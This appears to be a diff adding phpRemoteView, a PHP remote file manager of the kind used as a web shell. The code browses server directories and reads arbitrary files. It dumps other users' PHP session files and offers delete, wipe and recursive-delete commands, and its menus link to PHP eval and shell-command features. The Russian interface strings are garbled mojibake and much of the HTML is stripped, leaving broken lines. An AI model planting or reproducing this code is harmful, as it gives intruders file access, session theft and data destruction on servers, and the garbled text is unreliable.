+ "d/m/y H:i",
+ "Tahoma",
+ "9"
+ );
+
+ $panel=0;
+ if (isset($HTTP_COOKIE_VARS["cp$panel"]))
+ $cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
+ else
+ $cp=$cp_def;
+ $cc=$cp[0];
+ $cn=$cp[1];
+
+/*
+
+$cc / $cp[0]- ñïèñîê îäíîáóêâåííûõ ïàðàìåòðîâ, ñêîïèðîâàíî â $cs:
+ $cc[0] - ïî êàêîé êîëîíêå ñîðòèðîâàòü, à åñëè ýòî íå öèôðà:
+ n - ïî èìåíè
+ e - ðàñøèðåíèå
+ $cc[1] - ïîðÿäîê (0 - âîçðàñò. 1 - óáûâàþùèé)
+ $cc[2] - ïîêàçûâàòü ëè èêîíêè
+ $cc[3] - ÷òî äåëàòü ïðè êëèêå ïî èêîíêå ôàéëà:
+ 0 - ïðîñìîòð â text/plain
+ 1 - ïðîñìîòð â html
+ 2 - download
+ 3 - ïàðàìåòðû ôàéëà (info)
+ $cc[4] - îêðóãëÿòü ðàçìåð ôàéëîâ äî Êá/Ìá/Ãá
+ $cc[5] - ÿçûê:
+ 1 - àíãëèéñêèé
+ 2 - ðóññêè
+
+$cn / $cp[1] - ñïèñîê êîëîíîê è èõ ïîðÿäîê, êîòîðûå ïîêàçûâàòü, ñòðîêà áóêâ/öèôð:
+ t - type
+ n - name
+ s - size
+ a - owner+group
+ o - owner
+ g - group
+ c - chmod
+ 1 - create time
+ 2 - modify time
+ 3 - access time
+
+$cp[2]: ôîðìàò âðåìåíè
+
+$cp[3]: èìÿ øðèôòà
+
+$cp[4]: ðàçìåð øðèôòà
+
+*/
+
+ // Êàê âûðàâíèâàòü êîëîíêè
+ $cn_align=array();
+ $cn_align['t']='center';
+ $cn_align['n']='left';
+ $cn_align['s']='right';
+ $cn_align['a']='center';
+ $cn_align['o']='center';
+ $cn_align['g']='center';
+ $cn_align['c']='center';
+ $cn_align['1']='center';
+ $cn_align['2']='center';
+ $cn_align['3']='center';
+
+
+///////////////////////////////////////////////////////////////////////////////
+
+
+/*--mmstart--*/
+$mm=array(
+"Index of"=>"Èíäåêñ",
+"View file"=>"Ïîêàç ôàéëà",
+"DISK"=>"ÄÈÑÊ",
+"Info"=>"Èíôî",
+"Plain"=>"Ïðÿìîé",
+"HTML"=>"HTML",
+"Session"=>"Ñåññèÿ",
+"Image"=>"Êàðòèíêà",
+"Notepad"=>"Áëîêíîò",
+"DOWNLOAD"=>"ÇÀÃÐÓÇÈÒÜ",
+"Edit"=>"Ïðàâêà",
+"Sorry, this programm run in read-only mode."=>"Èçâèíèòå, ýòà ïðîãðàììà ðàáîòàåò â ðåæèìå 'òîëüêî ÷òåíèå'.",
+"For full access: write"=>"Äëÿ ïîëíîãî äîñòóïà: íàïèøèòå",
+"in this php-file"=>"â ýòîì php-ôàéëå",
+"Reason"=>"Ïðè÷èíà",
+"Error path"=>"Îøèáî÷íûé ïóòü",
+"Click here for start"=>"Íàæìèòå äëÿ ñòàðòà",
+"up directory"=>"êàòàëîã âûøå",
+"access denied"=>"äîñòóï çàïðåùåí",
+"REMVIEW TOOLS"=>"ÓÒÈËÈÒÛ REMVIEW",
+"version"=>"âåðñèÿ",
+"Free download"=>"Áåñïëàòíàÿ çàãðóçêà",
+"back to directory"=>"âåðíóòüñÿ â êàòàëîã",
+"Size"=>"Ðàçìåð",
+"Owner"=>"Îâíåð",
+"Group"=>"Ãðóïïà",
+"FileType"=>"Òèï ôàéëà",
+"Perms"=>"Ïðàâà",
+"Create time"=>"Âðåìÿ ñîçäàíèÿ",
+"Access time"=>"Âðåìÿ äîñòóïà",
+"MODIFY time"=>"Âðåìÿ ÈÇÌÅÍÅÍÈß",
+"HEXDUMP PREVIEW"=>"ÏÐÅÄÏÐÎÑÌÎÒÐ Â 16-ÐÈ×ÍÎÌ ÂÈÄÅ",
+"ONLY READ ACCESS"=>"ÄÎÑÒÓÏ ÒÎËÜÊÎ ÍÀ ×ÒÅÍÈÅ",
+"Can't READ file - access denied"=>"Íå ìîãó ïðî÷èòàòü - äîñòóï çàïðåùåí",
+"full read/write access"=>"ïîëíûé äîñòóï íà ÷òåíèå/çàïèñü",
+"FILE SYSTEM COMMANDS"=>"ÊÎÌÀÍÄÛ ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÛ",
+"EDIT"=>"ÐÅÄÀÊÒ.",
+"FILE"=>"ÔÀÉË",
+"DELETE"=>"ÑÒÅÐÅÒÜ",
+"Delete this file"=>"Ñòåðåòü ôàéë",
+"CLEAN"=>"Î×ÈÑÒÈÒÜ",
+"TOUCH"=>"ÎÁÍÎÂÈÒÜ",
+"Set current 'mtime'"=>"Óñòàí.òåêóù.âðåìÿ",
+"WIPE(delete)"=>"ÓÍÈ×ÒÎÆÈÒÜ",
+"Write '0000..' and delete"=>"Çàáèòü íóëÿìè, ñòåðåòü",
+"COPY FILE"=>"ÊÎÏÈÐÎÂÀÒÜ ÔÀÉË",
+"COPY"=>"ÊÎÏÈÐÎÂÀÒÜ",
+"MAKE DIR"=>"ÑÎÇÄÀÒÜ ÊÀÒÀËÎÃ",
+"type full path"=>"ââåäèòå ïîëíûé ïóòü",
+"MkDir"=>"Ñîçä.Êàò.",
+"CREATE NEW FILE or override old file"=>"ÑÎÇÄÀÒÜ ÍÎÂÛÉ ÔÀÉË èëè ïåðåçàïèñàòü ñòàðûé",
+"CREATE/OVERRIDE"=>"ÑÎÇÄÀÒÜ/ÏÅÐÅÇÀÏÈÑÀÒÜ",
+"select file on your local computer"=>"âûáðàòü ôàéë íà âàøåì ëîêàëüíîì êîìïüþòåðå",
+"save this file on path"=>"ñîõðàíèòü ýòîò ôàéë â êàòàëîã",
+"create file name automatic"=>"ïðèäóìàòü èìÿ ôàéëó àâòîìàòè÷åñêè",
+"OR"=>"ÈËÈ",
+"type any file name"=>"ââåñòè èìÿ ôàéëà âðó÷íóþ",
+"convert file name to lovercase"=>"êîíâåðòèðîâàòü èìÿ â íèæíèé ðåãèñòð",
+"Send File"=>"Ïîñëàòü ôàéë",
+"Delete all files in dir"=>"Óäàëèòü âñå ôàéëû",
+"Delete all dir/files recursive"=>"Óäàëèòü ÂÑÅ +ïîäêàòàëîãè ðåêóðñèâíî",
+"Confirm not found (go back and set checkbox)"=>"Ïîäòâåðæäåíèå íå ïîñòàâëåíî (âåðíèòåñü íàçàä è ïîñòàâüòå ãàëî÷êó)",
+"Delete cancel - File not found"=>"Óäàëåíèå îòìåíåíî - Ôàéë íå íàéäåí",
+"YES"=>"ÄÀ",
+"ME"=>"ÌÅÍß",
+"NO (back)"=>"ÍÅÒ (íàçàä)",
+"Delete cancel"=>"Óäàëåíèå îòìåíåíî",
+"ACCESS DENIED"=>"ÄÎÑÒÓÏ ÇÀÏÐÅÙÅÍ",
+"done (go back)"=>"ãîòîâî (íàçàä)",
+"Delete ok"=>"Îê, óäàëåííî",
+"Touch cancel"=>"Îáíîâëåíèå îòìåíåíî",
+"Touch ok (set current time to 'modify time')"=>"Îáíîâëåíèå çàâåðøåíî (ôàéëó ïðèñâîåíî òåêóùåå âðåìÿ ìîäèôèêàöèè)",
+"Clean (empty file) cancel"=>"Î÷èùåíèå (îáíóëåíèå ôàéëà) îòìåíåíî",
+"Clean ok (file now empty)"=>"Îê, î÷èùåíî (ôàéë îáíóëåí)",
+"Wipe cancel - access denied"=>"Óíè÷òîæåíèå îòìåíåíî - äîñòóï çàïðåùåí",
+"Wipe ok (file deleted)"=>"Îê, óíè÷òîæåíî (è ôàéë ñòåðò)",
+"DIR"=>"DIR",
+"Deleting all files in"=>"Óäàëåíèå âñåõ ôàéëîâ â",
+"skip"=>"ïðîïóñê",
+"deleting"=>"óäàëåíèå",
+"Deleting all dir/files (recursive) in"=>"Óäàëåíèå âñåõ ôàéëîâ/ïîäêàòàëîãîâ (ðåêóðñèâíî)",
+"DONE, go back"=>"ÃÎÒÎÂÎ, íàçàä",
+"DONE"=>"ÃÎÒÎÂÎ",
+"file not found"=>"ôàéë íå íàéäåí",
+"ONLY READ ACCESS (don't edit!)"=>"ÄÎÑÒÓÏ ÒÎËÜÊÎ ÍÀ ×ÒÅÍÈÅ (íå ðåäàêòèðîâàòü)",
+"Can't READ file - access denied (don't edit!)"=>"Íå ìîãó ×ÈÒÀÒÜ ôàéë - äîñòóï çàïðåùåí",
+"EDIT FILE"=>"ÏÐÀÂÈÒÜ ÔÀÉË",
+"can't open, access denied"=>"íå ìîãó îòêðûòü, äîñòóï çàïðåùåí",
+"SAVE FILE (write to disk)"=>"ÑÎÕÐÀÍÈÒÜ ÔÀÉË (çàïèñü íà äèñê)",
+"You mast checked 'create file name automatic' OR typed file name!"=>"Âû äîëæíû îòìåòèòü ãàëî÷êó [ñîçäàòü ôàéë àâòîìàòè÷åñêè] èëè ââåñòè â ïîëå èìÿ ôàéëà!'",
+"SAVING TO"=>"ÑÎÕÐÀÍÈÒÜ Â",
+"Sorry, access denied"=>"Èçâèíèòå, äîñòóï çàïðåùåí",
+"for example, uncomment next line"=>"äëÿ ïðèìåðà, ðàñêîììåíòèðóéòå ñëåäóþùóþ ñòðîêó",
+"Eval PHP code"=>"Âûïîëíèòü PHP êîä",
+"don't type"=>"íå ïèøèòå",
+"and"=>"è",
+"example (remove comments '#')"=>"ïðèìåð (óäàëèòå êîììåíòàðèè '#')",
+"Shell commands"=>"Êîìàíäû Shell'a",
+"filesize to 0byte"=>"ðàçìåð â 0 áàéò",
+"from"=>"îò",
+"to"=>"â",
+"Full file name"=>"Ïîëíîå èìÿ ôàéëà",
+"Can't open directory"=>"Íå ìîãó îòêðûòü êàòàëîã",
+"setup"=>"íàñòðîéêà",
+"back"=>"íàçàä",
+"Reset all settings"=>"Ñáðîñèòü âñå íàñòðîéêè",
+"clear"=>"î÷èñòèòü",
+"Current"=>"Òåêóùèå",
+"Colums and sort"=>"Êîëîíêè è ñîðòèðîâêà",
+"Sort order"=>"Ïîðÿäîê ñîðòèðîâêè",
+"Ascending sort"=>"Ïî âîçðàñòàíèþ",
+"Descending sort"=>"Ïî óáûâàíèþ",
+"Sort by filename"=>"Ñîðòèðîâàòü ïî èìåíè ôàéëà",
+"Sort by filename extension"=>"Ñîðòèðîâàòü ïî ðàñøèðåíèþ ôàéëà",
+"Date/time format"=>"Ôîðìàò äàòû/âðåìåíè",
+"Panel font & size"=>"Øðèôò/ðàçìåð ïàíåëè",
+"Setup"=>"Îïöèè",
+"Char map"=>"Ñèìâîëû",
+"Language"=>"ßçûê",
+"English"=>"Àíãëèéñêèé",
+"Russian"=>"Ðóññêèé",
+"Character map (symbol codes table)"=>"Òàáëèöà ñèìâîëîâ",
+"Select font"=>"Âûáåðèòå øðèôò",
+"or type other"=>"èëè ââåäèòå äðóãîé",
+"Font size"=>"Ðàçìåð øðèôòà",
+"Code limit"=>"Äèïàçîí êîäîâ",
+"Generate table"=>"Ñãåíåðèðîâàòü òàáëèöó",
+"Universal convert"=>"Óíèâåðñàëüíûå êîíâåðòàöèè"
+);/*--mmstop--*/
+
+
+
+
+ $language=$cc[5];
+ if ($language!=1 && $language!=2) $language=1;
+
+
+function mm($m) {
+ global $mm,$language;
+ if ($language==1) return $m;
+ if (isset($mm[$m])) return $mm[$m];
+ else echo "";
+}
+
+
+switch ($language) {
+case 1:
+$cn_name=array(
+'t'=>"Type",
+'n'=>"Name",
+'s'=>"Size",
+'o'=>"Owner",
+'g'=>"Group",
+'a'=>"Owner/Group",
+'c'=>"Perms",
+'1'=>"Create",
+'2'=>"Modify",
+'3'=>"Access"
+);
+break;
+case 2:
+$cn_name=array(
+'t'=>"Òèï",
+'n'=>"Èìÿ",
+'s'=>"Ðàçìåð",
+'o'=>"Âëàäåëåö",
+'g'=>"Ãðóïïà",
+'a'=>"Âëàäåëåö/Ãðóïïà",
+'c'=>"Ïðàâà",
+'1'=>"Ñîçäàí",
+'2'=>"Èçìåíåí",
+'3'=>"Äîñòóï"
+);
+break;
+}
+
+
+
+
+///////////////////////////////////////////////////////////////////////////////
+
+
+
+ $rand=microtime();
+
+ if (!isset($c)) $c="";
+ if (!isset($d)) $d="";
+ if (!isset($f)) $f="";
+
+ ob();
+ $d=str_replace("\\","/",$d);
+ if ($d=="") $d=realpath("./")."/";
+ if ($c=="") $c="l";
+ if ($d[strlen($d)-1]!="/") $d.="/";
+ $d=str_replace("\\","/",$d);
+ if (!is_dir($d)) obb().die("".mm("Can't open directory")." $d $obb");
+ if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
+ obb();
+
+ //
+ // OS detect:
+ //
+ $win=0;
+ $unix=0;
+ if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1;
+
+
+
+
+///////////////////////////////////////////////////////////////////////////////
+
+
+$html=<<
+phpRemoteView: $d$f
+
+
+
+remview;
+
+
+
+function display_perms($mode)
+{
+if ($GLOBALS['win']) return 0;
+/* Determine Type */
+if( $mode & 0x1000 )
+$type='p'; /* FIFO pipe */
+else if( $mode & 0x2000 )
+$type='c'; /* Character special */
+else if( $mode & 0x4000 )
+$type='d'; /* Directory */
+else if( $mode & 0x6000 )
+$type='b'; /* Block special */
+else if( $mode & 0x8000 )
+$type='-'; /* Regular */
+else if( $mode & 0xA000 )
+$type='l'; /* Symbolic Link */
+else if( $mode & 0xC000 )
+$type='s'; /* Socket */
+else
+$type='u'; /* UNKNOWN */
+
+/* Determine permissions */
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+
+/* Adjust for SUID, SGID and sticky bit */
+if( $mode & 0x800 )
+$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 )
+$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 )
+$world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+
+function _posix_getpwuid($x) {
+ if ($GLOBALS['win']) return array();
+ return @posix_getpwuid($x);
+}
+
+function _posix_getgrgid($x) {
+ if ($GLOBALS['win']) return array();
+ return @posix_getgrgid($x);
+}
+
+function up($d,$f="",$name="") {
+ global $self,$win;
+
+ $len=strlen($d."/".$f);
+ if ($len<70) { $sf1=""; $sf2=""; }
+ elseif ($len<90) {$sf1=""; $sf2="";}
+ else {$sf1=""; $sf2="";}
+
+ echo " $sf1";
+
+ $home="* ";
+ echo $home.$sf2."";
+ if ($name!="") echo $name;
+ else {
+ if ($f=="") echo mm("Index of");
+ else echo mm("View file");
+ }
+ echo " ";
+
+ $path=explode("/",$d);
+
+ $rootdir="/";
+ if ($win) $rootdir=strtoupper(substr($d,0,2))."/";
+
+ $ss="";
+ for ($i=0; $i $rootdir ";
+ else
+ $comm="$path[$i]/ ";
+
+ $ss.=$path[$i]."/";
+ echo "$comm ";
+ if ($i==0 && $d=="/") break;
+ }
+ echo "";
+ if ($f!="") echo "$sf1$f";
+
+ if ($win && strlen($d)<4 && $f=="") {
+ echo " ".mm("DISK").": ";
+ for ($i=ord('a'); $i<=ord('z'); $i++) {
+ echo "".strtoupper(chr($i)).": ";
+ }
+ }
+
+ echo "
+
+
";
+}
+
+
+function up_link($d,$f) {
+ global $self;
+ $notepad=str_replace(".","_",$f).".txt";
+echo "
+[".mm("Info")." ]
+[".mm("Plain")."(+) ]
+[".mm("HTML")."(+) ]
+[".mm("Session")." ]
+[".mm("Image")." ]
+[".mm("Notepad")." ]
+[".mm("DOWNLOAD")." ]
+[".mm("Edit")." ]
+ ";
+}
+
+
+function exitw() {
+exit("
+
+".mm("Sorry, this programm run in read-only mode.")."
+".mm("For full access: write")." `\$write_access=true ; `
+".mm("in this php-file").".
+");
+}
+
+
+
+function ob() {
+ global $obb_flag, $obb;
+ if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
+ if (function_exists("ob_start")) {
+ if ($GLOBALS['obb_flag']) ob_end_clean();
+ ob_start();
+ $GLOBALS['obb_flag']=1;
+ }
+}
+
+function obb() {
+ global $obb;
+ if (function_exists("ob_start")) {
+ $obb=ob_get_contents();
+ ob_end_clean();
+ $obb="
+
";
+ $GLOBALS['obb_flag']=0;
+ }
+}
+
+function sizeparse($size) {
+ return strrev(preg_replace("!...!","\\0 ",strrev($size)));
+}
+
+
+function jsval($msg) {
+ $msg=str_replace("\\","\\\\",$msg);
+ $msg=str_replace("\"","\\\"",$msg);
+ $msg=str_replace("'","\\'",$msg);
+ return '"'.$msg.'",';
+}
+
+
+
+///////////////////////////////////////////////////////////////////////////
+
+
+switch($c) {
+
+
+// listing
+case "l":
+
+ echo $GLOBALS['html'];
+
+ if (!realpath($d)) die("".mm("Error path").". ".mm("Click here for start")." .");
+
+ //up($d);
+
+ ob();
+ $di=dir($d);
+ obb();
+
+ $dirs=array();
+ $files=array();
+
+ if (!$di) exit("<<< ".mm("up directory")." >>>
".
+ "".mm("access denied")." : $obb");
+ while (false!==($name=$di->read())) {
+ if ($name=="." || $name=="..") continue;
+ if (@is_dir($d.$name)) {
+ $dirs[]=strval($name);
+ $fstatus[$name]=0;
+ }
+ else {
+ $files[]=strval($name);
+ $fstatus[$name]=1;
+ }
+ $fsize[$name]=@filesize($d.$name);
+ $ftype[$name]=@filetype($d.$name);
+ if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
+ $fperms[$name]=@fileperms($d.$name);
+ $fmtime[$name]=@filemtime($d.$name);
+ $fatime[$name]=@fileatime($d.$name);
+ $fctime[$name]=@filectime($d.$name);
+ $fowner[$name]=@fileowner($d.$name);
+ $fgroup[$name]=@filegroup($d.$name);
+ if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
+ $fext[$name]=strtolower($ok[1]);
+ else
+ $fext[$name]="";
+ }
+ $di->close();
+
+ $listsort=array();
+ if (count($dirs))
+ foreach ($dirs as $v) {
+ switch ($cc[0]) {
+ case "e": $listsort[$v]=$fext[$v].' '.$v; break;
+ case "n": $listsort[$v]=strtolower($v); break;
+ default:
+ switch ($cn[$cc[0]]) {
+ case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
+ case "o": $listsort[$v]=$fowner[$v]; break;
+ case "g": $listsort[$v]=$fgroup[$v]; break;
+ case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
+ case "c": $listsort[$v]=$fperms[$v]; break;
+ case "1": $listsort[$v]=$fctime[$v]; break;
+ case "2": $listsort[$v]=$fmtime[$v]; break;
+ case "3": $listsort[$v]=$fatime[$v]; break;
+
+ }
+ }
+ }
+
+ $names=$listsort;
+ //echo "
";print_r($names);
+ if ($cc[1]) arsort($names); else asort($names);
+ //echo "";print_r($names);
+
+ $listsort=array();
+ if (count($files))
+ foreach ($files as $v) {
+ $v=strval($v);
+ switch ($cc[0]) {
+ case "e": $listsort[$v]=$fext[$v].' '.$v; break;
+ case "n": $listsort[$v]=strtolower($v); break;
+ default:
+ switch ($cn[$cc[0]]) {
+ case "n": $listsort[$v]=strtolower($v); break;
+ case "t": $listsort[$v]=$ftype[$v]; break;
+ case "s": $listsort[$v]=$fsize[$v]; break;
+ case "o": $listsort[$v]=$fowner[$v]; break;
+ case "g": $listsort[$v]=$fgroup[$v]; break;
+ case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
+ case "c": $listsort[$v]=$fperms[$v]; break;
+ case "1": $listsort[$v]=$fctime[$v]; break;
+ case "2": $listsort[$v]=$fmtime[$v]; break;
+ case "3": $listsort[$v]=$fatime[$v]; break;
+
+ }
+ }
+ }
+
+
+ //echo "DIRS:"; print_r($names);
+ if ($cc[1]) arsort($listsort); else asort($listsort);
+ //$names=array_merge($names,$listsort);
+ foreach ($listsort as $k=>$v) $names[$k]=$v;
+ //echo "FILES:"; print_r($listsort);
+ //echo "NAMES:"; print_r($names);
+
+?>
+
+
+";
+ if (strlen($d)>$gr && $i>0 && $i+1$gr) {
+ $out.="••";
+ $sum+=strlen($n[$i]);
+ }
+ else
+ $out.=$n[$i];
+ }
+ else
+ if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
+ $out.="/";
+
+ }
+
+ return $out;
+ return "$d ";
+}
+
+$ext=array();
+$ext['html']=array('html','htm','shtml');
+$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
+$ext['exe']=array('exe','com','pif','src','lnk');
+$ext['php']=array('php','phtml','php3','php4','inc');
+$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');
+
+
+ echo "\n\n\n\n\n\n";
+
+
+ //phpinfo();
+ //echo implode(" | ",$cp);
+ echo '';
+
+ echo '';
+
+ echo ''.
+ ' '.
+ up2($d.$f).'
';
+
+ echo ' '.
+ ''.
+ '';
+
+ $button_help=array(
+ 'up'=>"UP DIR",
+ 'refresh'=>"RELOAD",
+ 'mode'=>'SETUP, folder option',
+ 'edit'=>'DIR INFO',
+ 'home'=>'HomePage',
+ 'papki'=>'TREE',
+ 'setup'=>'PHP eval, Shell',
+ 'back'=>'BACK',
+ );
+
+ function button_url($name) {
+ global $self,$d,$f,$uurl;
+ switch ($name) {
+ case 'up': return "$self?c=l&d=".urlencode(realpath($d.".."));
+ case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d);
+ case 'mode': return "$self?c=setup&ref=$uurl";
+ case 'edit': return "$self?c=d&d=".urlencode($d);
+ case 'home': return "http://php.spb.ru/remview/";
+ case 'papki': return "$self?c=tree&d=".urlencode($d);
+ case 'setup': return "$self?c=t";
+ case 'back': return "javascript:history.back(-1)";
+ }
+ }
+ echo '
+ ';
+ $buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home');
+ $tmp=strtoupper($d[0]);
+ for ($i=0; $i<?phpR emoteV iew?> ';
+ continue;
+ }
+ if ($buttons[$i]=='disk') {
+ if (!$win) continue;
+ echo '';
+ echo "";
+ for ($j=ord('A'); $j<=ord('Z'); $j++)
+ echo ''.chr($j);
+ echo " ";
+ continue;
+ }
+ $bturl=button_url($buttons[$i]);
+ echo ' ';
+ }
+ echo '
+ ';
+
+
+ for ($i=0; $i";
+ switch ($cn[$i]) {
+ case "n": case "t": case "s": case "o": case "g":
+ case "a": case "c": case "1": case "2": case "3":
+ echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break;
+ default:
+ echo "??$cn[$i]??";
+ }
+ if ($cc[0]==="$i") {
+ if ($cc[1]=='0') echo " ";
+ else echo " ";
+ }
+ echo ' ';
+ }
+ echo ' ';
+
+ echo "\n\n\n\n\n";
+
+ echo '
';
+
+
+ echo "
+
+ ".mm("Setup")." |
+ PHP eval |
+ phpinfo() |
+ Shell |
+ ".mm("Char map")." |
+ ".mm("Language").":
+ ".mm("English")." /".mm("Russian")."
+
+
+
+
+ ";
+
+break;
+
+
+case "set":
+
+ switch ($c2) {
+ case "sort":
+ $name=intval($name);
+ if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0';
+ $cc[0]=$name;
+ break;
+
+ case "panel":
+ $cn='';
+ foreach ($names as $k=>$v) {
+ if ($v!="") $cn.=substr($v,0,1);
+ }
+ $cc[0]=substr($sort,0,1);
+ $cc[1]=substr($sortby,0,1);
+ $cp[2]=substr($datetime,0,50);
+ $cp[3]=substr($fontname,0,50);
+ $cp[4]=substr($fontsize,0,50);
+
+ //exit("cn=$cn cc=$cc");
+ break;
+
+ case "eng":
+ $cc[5]=1;
+ break;
+
+ case "rus":
+ $cc[5]=2;
+ break;
+
+ }
+
+
+ $cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4];
+ if ($c2=="reset") $cookie=implode("~",$cp_def);
+ //echo "";
+ setcookie("cp$pan",$cookie,time()+24*60*60*333,'/');
+ header("Location: $ref");
+ echo "";
+ //echo "[$ref]";
+ //phpinfo();
+ break;
+
+
+case "setup":
+
+ echo $GLOBALS['html'];
+
+ echo "phpRemoteView ".mm("setup")." [".mm("back")." ] ";
+
+ echo "";
+
+ echo "
+ ".mm("Reset all settings")." : ".mm("clear")." ";
+ echo " (".mm("Current").": ".implode(" | ",$cp)." ) ";
+
+ echo "
+
+
+
+
+
+ ";
+ echo "".mm("Colums and sort")." ";
+
+ echo "".mm("Sort order").": ";
+ echo " ";
+ echo "".mm("Ascending sort")." ";
+ echo " ";
+ echo "".mm("Descending sort")." ";
+
+ echo " ";
+ echo "".mm("Sort by filename")." ";
+ echo " ";
+ echo "".mm("Sort by filename extension")." ";
+ echo "";
+
+ echo "".mm("Date/time format")." :
+ d - day, m - month, y - year2, Y - year4, H - hour, m - minute, s - second
";
+
+ echo "".mm("Panel font & size")." :
+
+ pt
";
+
+ echo "
";
+
+
+ echo " ";
+ break;
+
+
+
+// view
+case "v":
+
+
+ if (!isset($fnot)) $fnot=0;
+ if (!isset($ftype)) $ftype=0;
+
+ if ($fnot==0) {
+ echo $GLOBALS['html'];
+ up($d,$f);
+ echo "<<<".mm("back to directory")." >>> ";
+ up_link($d,$f);
+ echo " ";
+ }
+ if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
+ if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("".mm("access denied")." ");
+
+ if ($ftype==0 || $ftype==4) {
+ $buf=fread($fi,max(filesize($d.$f),$maxsize_fread));
+ fclose($fi);
+ }
+
+
+ switch ($ftype) {
+
+ case 0:
+ echo "
".htmlspecialchars($buf)." ";
+ break;
+
+ case 1:
+ readfile($d.$f);
+ break;
+
+ case 2:
+ header("Content-type: image/gif");
+ readfile($d.$f);
+ break;
+
+ case 3: // download
+
+ if (isset($fatt) && strlen($fatt)>0) {
+ $attach=$fatt;
+ header("Content-type: text/plain");
+ }
+ else {
+ $attach=$f;
+ header("Content-type: phpspbru");
+ }
+ header("Content-disposition: attachment; filename=\"$attach\";");
+ readfile($d.$f);
+ break;
+
+ case 4: // session
+
+ echo "";
+ if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$ok)) {
+ ini_set("session.save_path",$d);
+ session_id($ok[1]);
+ session_start();
+ print_r($HTTP_SESSION_VARS);
+ }
+ else {
+ print_r(unserialize($buf));
+ }
+ echo " ";//";
+ break;
+
+ }
+
+ break;
+
+
+
+
+
+
+
+case "i": // information for FILE
+
+ echo $GLOBALS['html'];
+ up($d,$f);
+ echo "<<<".mm("back to directory")." >>> ";
+ up_link($d,$f);
+
+ if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found"));
+
+ echo "".htmlspecialchars($d.$f)."
";
+ echo "
";
+ echo "".mm("Size")." ".filesize($d.$f)." ";
+ echo "".mm("Owner")."/".mm("Group")." ";
+ $tmp=@_posix_getpwuid(fileowner($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
+ else echo $tmp['name']." ";
+ $tmp=@_posix_getgrgid(filegroup($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
+ else echo $tmp['name'];
+ echo " ".mm("FileType")." ".filetype($d.$f)." ";
+ echo "".mm("Perms")." ".display_perms(fileperms($d.$f))." ";
+ echo "".mm("Create time")." ".date("d/m/Y H:i:s",filectime($d.$f))." ";
+ echo "".mm("Access time")." ".date("d/m/Y H:i:s",fileatime($d.$f))." ";
+ echo "".mm("MODIFY time")." ".date("d/m/Y H:i:s",filemtime($d.$f))." ";
+ echo "
";
+
+ $fi=@fopen($d.$f,"rb");
+ if ($fi) {
+ $str=fread($fi,$hexdump_lines*$hexdump_rows);
+ echo "".mm("HEXDUMP PREVIEW")." ";
+ $n=0;
+ $a0="00000000 ";
+ $a1="";
+ $a2="";
+ for ($i=0; $i0
"; break;
+ case 32:
+ case 10:
+ case 13: $a2.=" "; break;
+ default: $a2.=htmlspecialchars($str[$i]);
+ }
+ $n++;
+ if ($n==$hexdump_rows) {
+ $n=0;
+ if ($i+1";
+ $a1.=" ";
+ $a2.=" ";
+ }
+ }
+ //if ($a1!="") $a0.=sprintf("%08X",$i)." ";
+ echo "";
+ }
+
+ echo "Base64:
+ [Encode ]
+ [+chunk ]
+ [+chunk+quotes ]
+ [Decode ]
+
";
+
+
+ if (!$write_access) exitw();
+
+ $msg="";
+ if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS")." )";
+ else fclose($fi);
+ if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied")." )";
+ else fclose($fi);
+ if ($msg=="") $msg=" (".mm("full read/write access").")";
+
+ echo "".mm("FILE SYSTEM COMMANDS")."$msg
";
+
+ echo "
+
+";
+
+ echo " ".
+ "".mm("COPY FILE")." ".mm("from")." ".
+ " ".mm("to")." ".
+ " ".
+ "> ";
+
+echo "
+
+".mm("MAKE DIR")." (".mm("type full path").")
+
+
+
+ ";
+
+
+echo "
+
+".mm("CREATE NEW FILE or override old file")."
+
+".mm("Full file name")."
+
+<=confirm
+
+ ";
+
+echo "
+
+
